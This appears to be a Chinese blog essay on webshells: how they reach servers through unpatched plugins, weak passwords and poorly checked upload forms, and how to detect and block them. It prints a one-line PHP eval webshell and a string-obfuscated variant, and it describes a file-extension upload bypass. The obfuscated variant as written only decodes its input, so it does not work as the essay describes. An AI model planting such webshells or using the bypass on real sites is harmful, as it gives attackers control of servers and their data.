webshell不可以

凌晨两点，服务器告警群弹出一条消息：某台Web服务器CPU跑满，进程列表里有个叫`nginx`的进程，但它的父进程是`sshd`。运维老张一看就笑了——这哪是nginx，分明是有人传了个webshell，改了个名字伪装成正常服务。

webshell这东西，说白了就是一段跑在服务器上的代码，攻击者通过浏览器或者工具连上去，就能像操作自己电脑一样操作服务器。PHP、JSP、ASP、Python，甚至Node.js，都能写。最小的webshell可能只有一行：

<?php @eval($_POST['cmd']); ?>

就这一行，足够把整台机器掏空。

很多人觉得webshell离自己很远。但现实是，一个没打补丁的WordPress插件、一个弱口令的后台、甚至一个文件上传接口没校验后缀名，都可能成为入口。我见过最离谱的案例：某公司官网的“留言板”功能，前端限制只能传图片，后端却只检查了Content-Type。攻击者把`.php`文件改成`.jpg`，抓包改回`.php`，直接拿到shell。整个过程不到三分钟。

webshell的隐蔽性比你想象的高。它不一定叫`shell.php`，可能叫`wp-config.php.bak`、`index.php`、甚至藏在图片的EXIF注释里。有些webshell还会自己加密通信，流量里看就是一堆乱码。更狠的是“不死马”——进程常驻内存，删了文件还会自动重建。你前脚`rm`，后脚它又冒出来。

为什么webshell屡禁不止？因为它的成本太低，收益太高。一个低危漏洞，配合一个webshell，就能拿到数据库、内网横向、甚至域控。而防守方呢？日志分散、告警噪音大、修复窗口短。很多中小企业的服务器连基本的文件完整性监控都没有，webshell传上去半年都没人发现。

那怎么防？说几个实在的。

第一，别让上传目录有执行权限。Nginx里加一行`location ~* /uploads/.*\.(php|jsp)$ { deny all; }`，能挡掉一大半低级webshell。第二，文件监控要上。用`inotify`或者`auditd`盯着Web目录，一有新文件立刻告警。第三，日志别只看访问日志。`error.log`里如果出现`PHP Parse error: syntax error, unexpected 'eval'`，那就是有人在试webshell。第四，也是最关键的——别用弱口令。后台密码`admin123`，等于把钥匙插在门上还贴了张纸条。

有人问，用了WAF是不是就高枕无忧了？想多了。WAF能拦已知特征，但一个稍微变形过的webshell，比如把`eval`拆成`base64_decode`再拼接，WAF就瞎了。真正的防线是纵深防御：WAF、权限隔离、日志审计、文件监控、定期扫描，缺一不可。

最后讲个真事。某次应急响应，我在一台服务器上发现了一个webshell，路径是`/var/www/html/images/thumb.php`。打开一看，内容只有一行：

<?php $a = 'ba'.'se64'.'_de'.'code'; @$a($_POST['x']); ?>

它在那儿躺了整整四个月。四个月里，攻击者用它传了三个挖矿木马、两个内网扫描工具，还顺手把数据库导了一份。而服务器的管理员，直到CPU被挖矿跑满才发觉不对劲。

webshell不可以。不是因为它技术多高级，而是因为它太简单、太常见、太容易被忽略。你永远不知道下一个`thumb.php`里藏着什么。